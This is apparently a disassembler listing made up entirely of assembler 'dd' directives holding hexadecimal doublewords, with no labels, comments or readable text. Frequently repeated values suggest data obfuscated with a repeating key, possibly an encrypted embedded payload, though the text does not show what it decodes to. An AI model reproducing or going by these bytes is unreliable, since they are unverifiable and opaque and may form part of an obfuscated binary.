		dd 0BBFC0121h, 0B139E08Ch, 22D5A735h, 18E5E7E8h, 52308AC3h
		dd 321577CAh, 110F3B11h, 22933CD9h, 2A2B60AAh, 7299F689h
		dd 524A4E17h, 37407E9h,	2398698Ch, 52156622h, 321C8FEDh
		dd 64876688h, 0C906C0EFh, 53F6BECEh, 25ACFB98h,	0FEC6086h
		dd 32146644h, 33DFE52Dh, 3EFC6611h, 0F4156688h,	78145617h
		dd 2FB346Fh, 0B371DC83h, 89AEDDB6h, 9F9069FFh, 0CB156623h
		dd 1793D946h, 8D4249E1h, 255E46A1h, 0DD94B9D5h,	8B5EDF84h
		dd 34A5801h, 3D75397Ah,	321564AFh, 8B4B3611h, 39FE9ECDh
		dd 89469A25h, 32156626h, 56118890h, 0EC144631h,	5611A0C5h
		dd 3D4E469Bh, 32157F9Fh, 32018F88h, 527E6644h, 0B70D2E38h
		dd 1EA9CCCCh, 9366A7F9h, 9288BCEDh, 879C6625h, 341B7E34h
		dd 321AE087h, 38FC6644h, 0D6156622h, 37A6D010h,	338581Dh
		dd 0D388ED2Ch, 0DB13682Fh, 3215661Dh, 7226BF1Fh, 9F7EBC23h
		dd 8B5B996Ch, 369455EEh, 4E38F7ACh, 1619ED1Eh, 3211A2A3h
		dd 0DB946611h, 68694B19h, 269E36BDh, 36D1E706h,	3D156611h
		dd 32157908h, 851A0644h, 32018EE3h, 5C526611h, 34BCA355h
		dd 0A2D71DB3h, 0C75D7B3Fh, 0CC33BC89h, 534D47EEh, 3C936924h
		dd 0DB156622h, 32156618h, 0FC9FD585h, 5A556809h, 0B9479E48h
		dd 0F6944215h, 3215668Ch, 321569ADh, 0BDBD2C22h, 191333E4h
		dd 0B6288B68h, 1D6BB916h, 1AE4E309h, 0F3ED601Fh, 31E06468h
		dd 3C0E6BC1h, 32018F24h, 0B7306611h, 36F2D5D0h,	0F9E95846h
		dd 113D7652h, 8F1B068Eh, 39FC2B71h, 9156644h, 7D9C3EA9h
		dd 4EE02226h, 5A457191h, 32157F0Bh, 6A3152ABh, 0C7B89E4Fh
		dd 0B94F0CA5h, 16A34B0Ah, 0FA141A7Bh, 6B31D014h, 687F63F4h
		dd 37FC28CFh, 0E6156622h, 93ECFF15h, 2E312201h,	0DD96DD24h
		dd 53743F7Eh, 321569F8h, 613D4688h, 9FD8C216h, 72FDEB92h
		dd 3C031D3h, 3217B161h,	0DA759A44h, 32156625h, 83261E58h
		dd 527C046Fh, 53EC3925h, 3269AE4Ah, 1619EF11h, 321CEE87h
		dd 54756644h, 0E6D9AEA3h, 0B1743943h, 269C6264h, 9A60660h
		dd 0DBDC5743h, 32156617h, 0FCA826h, 0A79E623Ah,	341B7997h
		dd 321B8F71h, 74C86688h, 6BFFE5CEh, 0A1002DFCh,	0EB97ADB7h
		dd 69E4E7D9h, 6B41658Eh, 3D175D43h, 3215B395h, 32078F88h
		dd 16F36644h, 765B7604h, 0FC980083h, 0B970FCC6h, 8FC4FC96h
		dd 36AA3172h, 0BB156611h, 0F0143970h, 54759F1Ch, 3D83C898h
		dd 32156492h, 53740688h, 0CDEADE14h, 0F33C99DDh, 3F926949h
		dd 0DB156688h, 3215664Ch, 995AABFCh, 96BFF3F8h,	0E7985D74h
		dd 3D13684Dh, 0CDEAFAA7h, 8C439AEEh, 72556589h,	65118085h
		dd 0F66D3E9Dh, 66DAE72Dh, 0B30F0BF9h, 20A3D283h, 6DEB57E7h
		dd 3D4B9698h, 3215770Eh, 32198F44h, 83106622h, 0C67F4B30h
		dd 98E19C52h, 0B3751829h, 0BB522CE8h, 329A6913h, 53156688h
		dd 7FC4EBC9h, 3DE0602Ch, 32157795h, 32198F88h, 0A1696644h
		dd 0AE7FE39Dh, 1673BD89h, 0D3EAA02Eh, 32138F24h, 53216622h
		dd 511E1552h, 73F3E7EEh, 0BF9C0700h, 341B453Bh,	12AC0071h
		dd 50D3E627h, 269E9F25h, 0D79C3306h, 3211A390h,	0F7946688h
		dd 32156640h, 6E314AA5h, 162199EDh, 36D1E7D1h, 52156644h
		dd 32048F42h, 29536611h, 0FB816A46h, 0EA7FDFDFh, 61594423h
		dd 6003E507h, 0BE1A07D1h, 32156640h, 0E207D944h, 0D19C3570h
		dd 3211A509h, 0D9946644h, 32156626h, 6E317A96h,	3D315201h
		dd 321577CDh, 399F6922h, 0DB156611h, 3215668Eh,	0E902A6A5h
		dd 0AF9EA5A5h, 341B6BF0h, 0B3269971h, 5D1B4240h, 3E9E7FA9h
		dd 36D1E535h, 5D1B8F09h, 89757FCFh, 5AA9BF2Bh, 5317B391h
		dd 110CE303h, 0E3E9604Ah, 0F09E06C2h, 0A72AD977h, 979065E9h
		dd 0DB136864h, 32156633h, 89360200h, 0B007573Fh, 65D547DEh
		dd 448A2F61h, 52E3575Bh, 27530EE9h, 369C6644h, 6C4D3006h
		dd 53E09A71h, 0BA1ACBEEh, 32156645h, 30F5A7DAh,	0C9AD3471h
		dd 6C479826h, 53F8BDC4h, 2918E321h, 3D75601Fh, 6C45A737h
		dd 0B9433625h, 0F6964226h, 26FC3815h, 0BC156688h, 0C27F6714h
		dd 0BA3A0E89h, 0ABBDC21Eh, 0D069AEEDh, 0C7A96EABh, 32058F8Fh
		dd 0A7CB6611h, 0C84BE2F1h, 0C72496F4h, 0BE9D00C5h, 8B443649h
		dd 5E7C65E8h, 3E90A7C5h, 0FA3C6D5Eh, 37DD6748h,	45F0696Dh
		dd 32068F24h, 70516622h, 90CEB2F4h, 36AAEAF5h, 4640B5DEh
		dd 15E6974Eh, 0EB9E001Fh, 1621EDE9h, 0B3F0EF11h, 321562E7h
		dd 36D0E511h, 6E314A0Fh, 0CDAA6924h, 53DEAAA2h,	2D44DB92h
		dd 3D146086h, 3215C0C0h, 9E09F22h, 3C0C939Ch, 0AA91698Eh
		dd 3D156644h, 32156EA3h, 30966911h, 52156688h, 3985D25h
		dd 3D136812h, 32151895h, 0BF2E9E88h, 341B54A5h,	3264E22Dh
		dd 23FC6611h, 4B156688h, 0F4BB739h, 0D9403ED5h,	7727A015h
		dd 8720AF0Eh, 0D1E6FBC9h, 0DA756037h, 3215661Bh, 4CC6D3F5h
		dd 0D3F4A6FFh, 53751792h, 2FCDE749h, 537076F5h,	0B21AB5BBh
		dd 3215662Ch, 329E6971h, 0B3156688h, 0C5C063B7h, 0C67D0755h
		dd 0BB156662h, 3694428Ch, 0B7189560h, 0DD94393Fh, 2F906BE2h
		dd 4390EF7Dh, 0C7136857h, 126A8FDAh, 0BFE06611h, 27F69515h
		dd 0FC940642h, 4465F76Ch, 321568F9h, 4A462888h,	1142C6C9h
		dd 820CE95Eh, 60C910C8h, 0CD7438D7h, 8F969A97h,	341B7973h
		dd 0B916911h, 52156688h, 0CEF3EC24h, 0B72E0743h, 341B5738h
		dd 320FE287h, 0B81A6644h
		dd 32156623h, 7905DEDh,	3D1368A6h, 321575C1h, 339E6922h
		dd 0CB156611h, 0CDEA5961h, 339B69BBh, 0CA156622h, 1FD4E32Ah
		dd 0B71A6086h, 321566C7h, 321E8FD7h, 910D6611h,	0E07A25F5h
		dd 7B0728F2h, 4BA8E5AAh, 3213681Ch, 3227E287h, 88756644h
		dd 46722951h, 329A6971h, 3D156688h, 5374ACFBh, 4BA8E5D7h
		dd 32136807h, 3250E287h, 0B8756644h, 32108EFBh,	0BAB46611h
		dd 0B2A9FF69h, 534E4DA0h, 76F1E3AFh, 23FC6004h,	0C3156688h
		dd 755FA507h, 16931011h, 2686C557h, 0B774F8DCh,	0CDEBDDADh
		dd 3E9469DDh, 0DB156611h, 3215668Fh, 0CE71D03h,	922654Eh
		dd 3C38A794h, 0AF91698Eh, 0C7EA99BAh, 0B1DDDBA1h, 3D146004h
		dd 3215200Dh, 321D8F44h, 4BA06622h, 86F76D75h, 0B72E27B3h
		dd 3400E5B8h, 3238E32Dh, 8A756611h, 60785E55h, 0BF74AAF7h
		dd 6B1E82A7h, 0B9730611h, 52749E4Fh, 53E3D94Bh,	0CDEBEBCBh
		dd 3AFC93EEh, 8B156688h, 745BC416h, 329AE87h, 239F69EEh
		dd 0DB156688h, 32156648h, 244896EEh, 3A87034h, 85443010h
		dd 1B84DBC7h, 3D15602Ch, 3205B295h, 2E996988h, 52156644h
		dd 321574CBh, 47DCA011h, 5C35B616h, 6E3508E4h, 4F928365h
		dd 3DD2C34Eh, 3D74BF37h, 32156ECAh, 30986922h, 52156611h
		dd 0DA905DE9h, 3D1373C7h, 321535A7h, 8D1A0611h,	53DDED72h
		dd 3A54E3CFh, 3DFC602Ch, 96156611h, 37E4A06Dh, 41F5E3Fh
		dd 0C574C645h, 8C43EC7Dh, 0CDEA9977h, 0DB4B916Dh, 32156629h
		dd 319C5258h, 0D8C2758Ah, 0DB699681h, 32156636h, 99D33999h
		dd 89C83A7Eh, 0D7F1FF7Dh, 384E5D24h, 0E8509866h, 0B1E5E3B3h
		dd 0B71A6051h, 32156612h, 0CB90EDEDh, 3D13689Eh, 32156CC8h
		dd 0B11A0622h, 32156611h, 63743FD8h, 0CDEA99FDh, 6BDA4FDDh
		dd 5FCCE771h, 620008D3h, 3215EA4Bh, 534C6622h, 0B1F9E32Ah
		dd 0B71A609Dh, 32156621h, 321572CBh, 601B0911h,	17AB7A19h
		dd 4EDE8E4Ah, 0C612A2B5h, 8A5EE570h, 3F90ED24h,	3D136847h
		dd 321572AEh, 3C946911h, 0DB156688h, 3215664Dh,	8B1C4AD6h
		dd 0C2627A09h, 0CDAC37D6h, 1BEA99BBh, 0BF1A3FEDh, 3215660Ch
		dd 3202EE87h, 20FC6644h, 38156622h, 174A278h, 0C6D1D060h
		dd 0A0FB82C8h, 0A5EFA93Ah, 0C6905D33h, 3D13730Bh, 32157BC1h
		dd 0DAA20622h, 0B974B09Ah, 3C1AF30Dh, 33976942h, 0C7156622h
		dd 0CF248920h, 0B55089B9h, 0B72E93ABh, 3400E5DAh, 322BE31Eh
		dd 0B9756688h, 0D9C6E79Ch, 533F586Ah, 2C2CE39Ah, 0BF1A6086h
		dd 32156645h, 64E2E1D7h, 6C3162EEh, 5275910Fh, 0B21A0724h
		dd 32156622h, 38FD3170h, 9A156688h, 0DD44D8F4h,	0D7C1E923h
		dd 534B3C67h, 0B1E9E3B3h, 0B71A6051h, 32156664h, 9B7AD971h
		dd 0BC1A28B2h, 32156640h, 8A6FD944h, 2B90ED70h,	0CA136890h
		dd 1DCDDB11h, 0FF946343h, 62713A58h, 0D7D4BB7Fh, 35F0A747h
		dd 5614A3A3h, 0DD14F3EEh, 8D1A06D5h, 5381D085h,	321563CBh
		dd 5C2C3011h, 0B72E5C57h, 3400E244h, 3240E32Dh,	87756611h
		dd 0EFAD00CAh, 0B79E0756h, 341B7D5Bh, 321D8E71h, 6CE26688h
		dd 5EC34A4Fh, 0B3733379h, 6B4AC4F0h, 32068FE9h,	83406644h
		dd 8E22D133h, 6DF3503Ah, 63AE135Ch, 1E71DA66h, 33AF347Bh
		dd 33156611h, 0B61A3C5Fh, 3215664Fh, 321560CBh,	0E5E2E411h
		dd 965C376h, 279162C1h,	1A906924h, 0CB156611h, 31A4E303h
		dd 20FC604Ah, 7D156622h, 59705C6Ah, 5DC6Eh, 63397A7Bh
		dd 0D394016Fh, 33A833C1h, 33156688h, 9E93BABh, 27916EA7h
		dd 74906917h, 0CE156688h, 258E3CFh, 0DB75602Ch,	32156614h
		dd 91C2E419h, 3DAD00F6h, 884707BCh, 2E611521h, 7ADFE7C2h
		dd 0B360341Eh, 0BB91F4E0h, 68C26793h, 321E8EE8h, 1AC56644h
		dd 0C8FF0CC1h, 0C353F475h, 3290690Dh, 68156644h, 3E905D43h
		dd 3D137395h, 3215270Dh, 3D750644h, 0B6AEA495h,	533ECAE1h
		dd 3F018009h, 0B9746E77h, 3C1C1FA7h, 321A8F17h,	5C5B6688h
		dd 6C76EC62h, 8DBE53BDh, 7A040E3Ch, 0B5FAE1D1h,	0CF9221B9h
		dd 0B37589A5h, 0B41314D2h, 0B7AB00D4h, 0B72E074Ah, 3400E236h
		dd 322CE31Eh, 3D756688h, 0B9749DF3h, 3C345BA7h,	0B2759A17h
		dd 6274A478h, 0CDEA99FCh, 6AD24FDDh, 3218E31Eh,	3AFC6688h
		dd 4A156644h, 5EACA3CFh, 3DFD5CD5h, 32156004h, 68450644h
		dd 9743872h, 27917694h,	5E90698Eh, 52156644h, 32156ACBh
		dd 4D535E11h, 0C60A08F1h, 6571E33Dh, 0C2940055h, 0B1743A8Ah
		dd 3C0A5335h, 0B71A6642h, 32156665h, 321569F8h,	83C14D88h
		dd 7FE47886h, 1B34B3A5h, 0D7F4FA18h, 2F50E303h,	3EFC604Ah
		dd 0A5156622h, 0D5BAF068h, 5FB33B48h, 649F7DC6h, 0CDEA999Ch
		dd 6CE24FEEh, 32156861h, 9D05AB44h, 0F0ECD93h, 7AFDA383h
		dd 0B1EC365Eh, 3C3157F9h, 0B61A6624h, 3215664Ch, 0B2CAEDE8h
		dd 97409B3h, 2791FAA7h,	78906917h, 0CA156688h, 3CE0E3CFh
		dd 38FC602Ch, 33156611h, 0DACE8CDDh, 0B533D34Ah, 33AF3406h
		dd 33156611h, 3D753C5Fh, 321577C0h, 321E8E22h, 3D576611h
		dd 0CD3BC756h, 63A9A32Ah, 35FD381Fh, 0F7156611h, 1A4995D0h
		dd 0B3733A0Bh, 6DFA8FE0h, 0F3A8E570h, 3213689Fh, 3054E24Bh
		dd 0B01A6622h, 3215661Fh, 32156F61h, 0B5C00344h, 1EEDECCFh
		dd 8F96CA9Ch, 341B69ADh, 12916944h, 0CA156620h,	0B695E32Ah
		dd 0B71A609Dh, 32156656h, 1790EDDAh, 0CB13683Fh, 0CDEADDDBh
		dd 0ED3C99BBh, 0B72E9379h, 3400E281h, 325BE387h, 0BB1A6644h
		dd 32156623h, 8B90EDE9h, 0DB1368AAh, 32156648h,	8D308F39h
		dd 0C51DF6F6h, 0B6D40E35h, 0C9A26924h, 321560CBh, 89D81411h
		dd 53273641h, 3214DC16h, 0E5146622h, 0B91A064Bh, 32156687h
		dd 32156FACh, 0D760722h, 0A0D9EF16h, 534FB116h,	0B691E37Fh
		dd 0B71A6037h, 32156647h, 8EAD00E8h, 53750697h,	0B9E90743h
		dd 3C0EB394h, 20FD068Eh, 6A156644h, 0B7C341A9h,	7BD38B1Ah
		dd 0D267142Ch, 0F53027EEh, 694B36A0h, 0CDA26971h, 8F4007E9h
		dd 0CDEA99BBh, 5248890Bh, 0A97A9490h, 0B9730F7Bh, 39FC078Ah
		dd 3A156622h, 18E2991Ch, 48FAA2B7h, 0B72EDABCh,	3400E2B6h
		dd 3259E31Eh, 3BFC6688h, 74156644h, 6A7BCEC1h, 6EBC2D43h
		dd 2D0E303h, 0B31A604Ah, 32156633h, 32156AF8h, 0F5704888h
		dd 0EFD7F006h, 5CE814D3h, 96A8334Ah, 0B3187AECh, 0D18E3D81h
		dd 6FFA4FD0h, 3219ED1Eh, 0BE1A6688h, 32156642h,	3215E52Dh
		dd 0B72E6611h, 3400E210h, 325EE34Bh, 0B51A6622h, 32156616h
		dd 3214E987h, 0B9ED6644h, 3C1647A7h, 321E8F17h,	3D576688h
		dd 0CD3BC79Ah, 63A9A34Ch, 0CDA8332Ch, 1BEA9977h, 0BA1A3BABh
		dd 32156629h, 329F6971h, 3D156688h, 0DB7498F3h,	3215662Bh
		dd 759E5E73h, 68C15822h, 0BA905DEFh, 3D1373A6h,	32152094h
		dd 3AFD0688h, 0F156644h, 680F7C78h, 0B9F917E0h,	34FD3E76h
		dd 31156644h, 0AF9ED8A8h, 329569F6h, 6A156688h,	3B90ED25h
		dd 0DB136807h, 32156616h, 0D7DAEF50h, 671154DBh, 0AC3C949Fh
		dd 0C1F8E740h, 1B44F8A1h, 9E93BABh, 2791EAA7h, 0A906917h
		dd 0DB156688h, 32156641h, 0F1163E97h, 0EB90ED9Bh, 3D136883h
		dd 321567CCh, 89469E22h, 32156610h, 3D4EB989h, 321574CCh
		dd 32188F22h, 0E87C6611h, 0C5C37F55h, 72E94B8Fh, 0B1FF56B4h
		dd 3C1A43ACh, 0B61A668Eh, 32156C59h, 38FD3642h,	3E156611h
		dd 0AFEB191Dh, 4F46AFF8h
		dd 544B3911h, 0DB74969Ah, 32156686h, 8BD89C6h, 2E1D29B6h
		dd 0D21FEC96h, 0B72E2C1Ah, 3400E25Ch, 3232E32Dh, 3FFC6611h
		dd 0F7156688h, 0DE47AD92h, 25DF33C3h, 0DFA2F1F4h, 3C20E303h
		dd 63E0604Ah, 0CDEA999Bh, 6BDA4FEEh, 0E3E1E6E8h, 9E905D25h
		dd 3D1373A6h, 32155794h, 321E8F88h, 8B6A6644h, 0F93BD3A4h
		dd 5D66211Bh, 8F90ED0Ah, 3D136858h, 321567AAh, 8A459311h
		dd 0CDEA9977h, 0DB4DA16Dh, 32156624h, 0AA42C917h, 0B72E9544h
		dd 3400E258h, 3226E32Dh, 0B9E96611h, 3C012F0Dh,	32048F42h
		dd 0CCF16622h, 0EC8CC585h, 5034CA83h, 0DBCCA17h, 64F73A2Fh
		dd 34213AFh, 0D0D3E7C4h, 0B327C315h, 1B43CCE4h,	6CE26790h
		dd 12905D7Dh, 3D1373C0h, 321520A7h, 32078F11h, 27876688h
		dd 1CE76D90h, 0B89DA268h, 72F5CE24h, 43474882h,	13D4E3CFh
		dd 64E0602Ch, 0CDEA99AFh, 6CE24F77h, 0FDAA6924h, 321574CAh
		dd 8CD8B11h, 35B7532Ch,	94847A76h, 0CAD3FCCBh, 652F4CE9h
		dd 97439D3h, 279142C1h,	7B906924h, 3D156611h, 32156A07h
		dd 349E6944h, 3D156622h, 3215669Ah, 0B390ED88h,	0DB136866h
		dd 32156629h, 6AB70AFEh, 467D4C9Eh, 64D604F5h, 0CDEA999Ch
		dd 6CE24FEEh, 321B8FE8h, 6E396644h, 0C55A2F31h,	165B566Bh
		dd 0D1F18906h, 53DFD14Bh, 0B63DE319h, 0B71A6004h, 321566FDh
		dd 32156FADh, 7013DC22h, 2AA1EF8Eh, 8F9687D9h, 341B7971h
		dd 68906922h, 52156611h, 3217EB87h, 53756644h, 3204EE2Dh
		dd 39FD6611h, 6A156688h, 250874FEh, 90996C2Ch, 534D5BA9h
		dd 2444E303h, 6175604Ah, 544C9E96h, 912B9790h, 0BDAF34E9h
		dd 786B4348h, 49DA84A3h, 0F09453C9h, 0F9EA91FBh, 524FB145h
		dd 0D0E3DC44h, 32108F42h, 46336688h, 6DF85F63h,	1E905D43h
		dd 3D137395h, 32155E0Dh, 249F6944h, 52156622h, 32156DF8h
		dd 0EF16D488h, 320AFC4Ch, 6FE3EC09h, 1622DF77h,	8B90EDE9h
		dd 0CE13685Ch, 0CDEADB77h, 0DD3C99EEh, 379069D5h, 52156644h
		dd 53E4D12Dh, 2905DE9h,	3D13730Ch, 321557C1h, 3E926922h
		dd 3D156611h, 3215600Ch, 32926944h, 0B1156622h,	3C0A53ACh
		dd 0B71A668Eh, 32156656h, 0EF90EDD7h, 0C713680Bh, 0CDEAD8DEh
		dd 0C53C99BBh, 0B72E9A7Ch, 3400E225h, 323EE387h, 0B9ED6644h
		dd 3C179BA7h, 52AA0617h, 0B367905Eh, 118B1286h,	0BA1A0752h
		dd 32156616h, 0C39E00E8h, 63743D12h, 0CDEA999Bh, 6BDA4FEEh
		dd 0A905D71h, 3D1373C0h, 321534A7h, 0B79E9E11h,	341B680Dh
		dd 321572ADh, 2DE48622h, 0DF4AD300h, 5FA1DA5Ah,	7E87DC9Ch
		dd 87CF3781h, 21FC06DBh, 60156688h, 6BE625A5h, 3AAFC857h
		dd 26975A90h, 5A30EECDh, 0C19ED89Dh, 0CDAC3743h, 1BEA99EEh
		dd 3AFC3F47h, 0AB156644h, 4C3FB22Ch, 9927FDDh, 2791260Dh
		dd 0C906942h, 52156622h, 3216EC1Eh, 0B9736688h,	533FD192h
		dd 2D20DBA1h, 3D15601Fh, 3215420Dh, 0B79E9F44h,	341B60DBh
		dd 0EC9E9E71h, 33AB30E9h, 33156644h, 547538D5h,	0D9B58490h
		dd 3217EA87h, 53756644h, 0E905D43h, 3D137395h, 3215EA0Dh
		dd 8F969F44h, 341B7917h, 4C906911h, 3D156688h, 321574C2h
		dd 32188F22h, 48A96611h, 4A34C41Fh, 0E199B71Fh,	0DB28D145h
		dd 3215661Ah, 0F3F9543Fh, 0F9998F64h, 0B9152BC2h, 3C312B94h
		dd 32048F8Eh, 0C4416644h, 130D315h, 9C1E16FDh, 0A5354978h
		dd 3D2B890Ch, 32157EA0h, 32068F11h, 8786688h, 14149223h
		dd 0D3BA2609h, 950D9CE7h, 0B583A742h, 33AC3710h, 33156622h
		dd 0BC1A3FDEh, 3215668Fh, 3214ED4Bh, 52E06622h,	4E80D877h
		dd 76905DE9h, 3D1373C0h, 321524A7h, 0B9ED9E11h,	3C0ABF0Dh
		dd 32068F42h, 87D76622h, 1A481CD3h, 34A5268Eh, 0EA8F855Ch
		dd 1B9EACB3h, 33AE3552h, 33156688h, 0DB753D9Bh,	3215662Ch
		dd 6DB7FB6Dh, 0EBAEDBB8h, 0ADD6E0DBh, 8A7383E2h, 97444A4h
		dd 27912E0Dh, 63906942h, 0DB156622h, 3215661Fh,	0B7FA7347h
		dd 0C40BE79Eh, 0AF8E0BABh, 0DB755EE6h, 3215668Dh, 0E5DC4E42h
		dd 32188FF2h, 96A36611h, 862975E9h, 4E9FEFA9h, 5394F206h
		dd 3AC8E39Ah, 0BE1A6086h, 3215664Eh, 321563CBh,	29BD6011h
		dd 8C43B890h, 32156645h, 0C74B9123h, 0B659E32Ah, 0B71A609Dh
		dd 3215660Eh, 2A9369DAh, 0DB156611h, 3215669Bh,	2E0BC198h
		dd 3A539DFFh, 202E29CCh, 2BC6785Ch, 0B94143F8h,	3C1A0BA7h
		dd 3AFC0617h, 0CB156688h, 0E109727Fh, 81733755h, 8B440742h
		dd 32156689h, 524CA945h, 8DF3D844h, 1FC4E777h, 0B72E07A8h
		dd 3400E214h, 3226E32Dh, 0B9E06611h, 3C12370Dh,	321D8F42h
		dd 0ABB46622h, 8E99EAEDh, 8946CAA6h, 32156645h,	0DB4EB923h
		dd 32156600h, 0C04EE579h, 6718C89Ah, 73E8516Ch,	7B37CA27h
		dd 66905DF0h, 3D1373C0h, 32152EA7h, 3E9B6911h, 3D156688h
		dd 321560C5h, 32956922h, 0DB156611h, 3215669Ah,	66BB8129h
		dd 99FB899Ah, 0F5BB1E0Fh, 2A523FCDh, 0B79ED72Eh, 341B4B3Bh
		dd 0E49E06E8h, 53E4D187h, 3214DB11h, 0DD146622h, 0B11A9E4Ch
		dd 32156689h, 6A905DB8h, 3D1373A6h, 32155594h, 0B79E9E88h
		dd 341B6465h, 321DE52Dh, 0BA1A6611h, 3215668Ah,	2E7D0724h
		dd 0BB15667Bh, 36EA422Dh, 0B11A39ACh, 32156648h, 3213E62Dh
		dd 0BF1A6611h, 32156688h, 0B649E37Fh, 0B71A6037h, 32156637h
		dd 32128F70h, 0DCDE6644h, 6A1396EDh, 7790EDEBh,	0CB13688Ch
		dd 0BB2DF15h, 0EBE23DDFh, 0F44F8F90h, 0FD3CC28Ah, 0B72E931Dh
		dd 3400E242h, 3252E31Eh, 21FC6688h, 0C2156644h,	32A6855Dh
		dd 8F12156Eh, 9BAAA1F0h, 8D84211Ch, 0B79EDA91h,	341B78F8h
		dd 32157261h, 340B3744h, 3D803ACCh, 0FF74B0FAh,	8765B0A0h
		dd 0B9293EACh, 0CDAB3069h, 1BEA99EEh, 0B51A387Fh, 32156645h
		dd 4B905DDBh, 3D136802h, 32153E0Dh, 39916944h, 0DB156622h
		dd 32156617h, 0E5DA6DA7h, 3CFCCA02h, 0FF156622h, 70BC1FC1h
		dd 9086B710h, 768E4841h, 0F390ED2Bh, 52136825h,	32108F70h
		dd 0C3D86644h, 532BB8E0h, 3204E71Eh, 3EFC6688h,	6E156644h
		dd 0DA43F70Eh, 1BD7CCF2h, 676C7BDCh, 0CDEA99F9h, 6FFA4FDDh
		dd 56905DEDh, 3D13730Ch, 32155DC1h, 0B79E9A22h,	341B56ECh
		dd 33AF3474h, 33156644h, 0DB753CF5h, 32156619h,	21AE99A9h
		dd 397AB4FAh, 0DDAF0071h, 527438B2h, 3218E487h,	35FD6644h
		dd 5E156622h, 6CD91356h, 534A32FAh, 0B6B5E37Fh,	0B71A6037h
		dd 32156673h, 32156161h, 0F9C0B744h, 0E51AD7E9h, 0B6BDDB92h
		dd 3D15609Dh, 321576C1h, 0B1740622h, 3C0A37ACh,	0B61A668Eh
		dd 3215667Eh, 8790EDD7h, 3D136816h, 32156702h, 8F409E44h
		dd 0CDEA99DDh, 52488938h, 32156961h, 0FFEFEB44h, 970AC91h
		dd 0C0C22DA1h, 0D8A48A8Ah, 321563ACh, 2048F222h, 0ED9E53E7h
		dd 0B72E07D6h, 3400E2E0h, 324AE32Dh, 0B1E96611h, 2791CE35h
		dd 0B71A6642h, 3215660Eh, 32156FF8h, 12D5C88h, 6A2C2EB5h
		dd 8F96C295h, 341B7940h, 4916988h, 3D156644h, 32156DA7h
		dd 32138F11h, 19DF6688h, 504DB8D0h, 20CE3A9h, 0B5EC601Fh
		dd 63422747h, 0B41A3F1Bh, 32156633h, 321EE61Eh,	34FC6688h
		dd 0E4156644h, 0BFBE35ADh, 5A905D50h, 3D13730Ch, 3215E6C1h
		dd 24936922h, 52156611h, 32156D61h, 6D808A44h, 472B4BAFh
		dd 0AC6CA97Ch, 7A79D9EEh, 0E390ED25h, 3D136826h, 32156B90h
		dd 0B3730688h, 0B3A428AFh
		dd 57E4F4FCh, 8F400770h, 0CDEA9977h, 0DB48896Dh, 3215662Ah
		dd 55FCFB7Ch, 0FFC319F5h, 323AE94Bh, 0DB756622h, 32156605h
		dd 0A1DAE10Fh, 68D508C4h, 9F8986Dh, 4245F1E9h, 6BF05FE7h
		dd 321568ACh, 0FEECDC22h, 0B8003673h, 2BC4D8B8h, 6BE99C56h
		dd 5E905D43h, 3D137395h, 32153A0Dh, 0EC9F0644h,	3218EE2Dh
		dd 35FD6611h, 50156688h, 0ABA6EC92h, 534E6CACh,	321569F8h
		dd 3B9DD88h, 0FBC97E3Dh, 0CC345611h, 0A76E66DEh, 1810E303h
		dd 60ED604Ah, 0A14C7698h, 3AF7A727h, 0E8E2BC7Fh, 0C214A4C5h
		dd 0E5140A84h, 3C9F694Bh, 52156688h, 321563ADh,	0BD92A122h
		dd 5375FE6Bh, 42905DE9h, 3D1373C0h, 321553A7h, 0B79E9E11h
		dd 341B4F25h, 321DE64Bh, 0BA1A6622h, 32156613h,	8C4307E8h
		dd 0CDEA99BBh, 0DB4B910Bh, 32156603h, 147FC1F0h, 9886FFCAh
		dd 0D38C3AB0h, 35F894A9h, 0B72E80CFh, 3400E230h, 327BE32Dh
		dd 0CA756611h, 32156D61h, 0DDFC3344h, 11444C2Bh, 50F5DC47h
		dd 239169E9h, 52156644h, 35FD0742h, 30156611h, 0E76281E4h
		dd 534F0095h, 25B0E3A9h, 0DBEC601Fh, 32156699h,	7BA45B8Ch
		dd 0C0A13D4Fh, 8468DA80h, 8DC9208Fh, 0E923110h,	0E922106h
		dd 54753935h, 5B68BD09h, 321568ACh, 5895C922h, 7AC43918h
		dd 4AB8A311h, 0B2D64D13h, 534D20D1h, 0B66DE32Ah, 0B71A609Dh
		dd 32156676h, 0ED9E0042h, 0B79E07E4h, 341B45F5h, 33AD36BCh
		dd 33156622h, 39FC3ED6h, 86156688h, 484527CBh, 95CC95E1h
		dd 35FCA524h, 0C4156688h, 0FEC83921h, 0B72E44A4h, 3400E26Dh
		dd 325AE387h, 34FC6644h, 4156622h, 30AB7DDh, 790ED42h
		dd 0DB13684Ah, 3215662Dh, 21FBA160h, 0E45357EBh, 519518D2h
		dd 3D91E46Eh, 32156E97h, 309E6988h, 52156644h, 5BAE3543h
		dd 0B30DFF77h, 548CFE4Bh, 69CA67A3h, 32156ECBh,	3B93E311h
		dd 21F4E48Bh, 3DEA6DF8h, 321501A6h, 0BB1A0611h,	3215668Ah
		dd 0DB7569F4h, 3215662Dh, 7F0E7DA8h, 0EC0F0091h, 5F895302h
		dd 8CE77072h, 3FF3FC3Ch, 61FC07E9h, 52EA99A9h, 0AF74DC42h
		dd 3CFD4A28h, 5B156688h, 7B20530Dh, 0FAF640EBh,	0F58FC60Bh
		dd 0DB743DB9h, 32156650h, 0B6D2516Ah, 5966450Dh, 0A3353FCCh
		dd 9CFC54A6h, 379A5E84h, 339D6970h, 0CB156688h,	29CE37Fh
		dd 0B71A602Ch, 32156620h, 0C09E00E8h, 3213E04Bh, 0D4946622h
		dd 0E8A309Bh, 1390EBE9h, 0CA13734Bh, 0CDF98BCBh, 321A8FEEh
		dd 0FC626688h, 0EE0969B4h, 0D9F6D10Fh, 0BBBF1E4Bh, 0BF905D61h
		dd 3D136857h, 321520A7h, 321F8F11h, 0F5336688h,	0AD029249h
		dd 775EC856h, 0B1DDDB92h, 3D14609Dh, 32154CC1h,	0B7989A22h
		dd 324C6D76h, 0E5AA69E8h, 321568ADh, 404C7022h,	84C4A384h
		dd 6A5578CBh, 53080660h, 0CDF9EBCBh, 8D7306EEh,	974EE96h
		dd 2796BEC1h, 11916924h, 52156611h, 53DDEDEEh, 0B1C9E37Fh
		dd 0B71A6037h, 3215663Ah, 3219EF87h, 35FC6644h,	9A156622h
		dd 691945F6h, 61FC873Dh, 0DBEA99A8h, 3215662Dh,	0C1072ED5h
		dd 64E02016h, 6254E9F0h, 0B1E6A558h, 3E9C62FDh,	3215DFACh
		dd 0FC9C6644h, 851A067Bh, 0DB749AD0h, 3215669Ah, 2AF60A6h
		dd 85EAAB2Ch, 0EAAC2F54h, 17AEFF6Eh, 0CC966AFDh, 0E1906923h
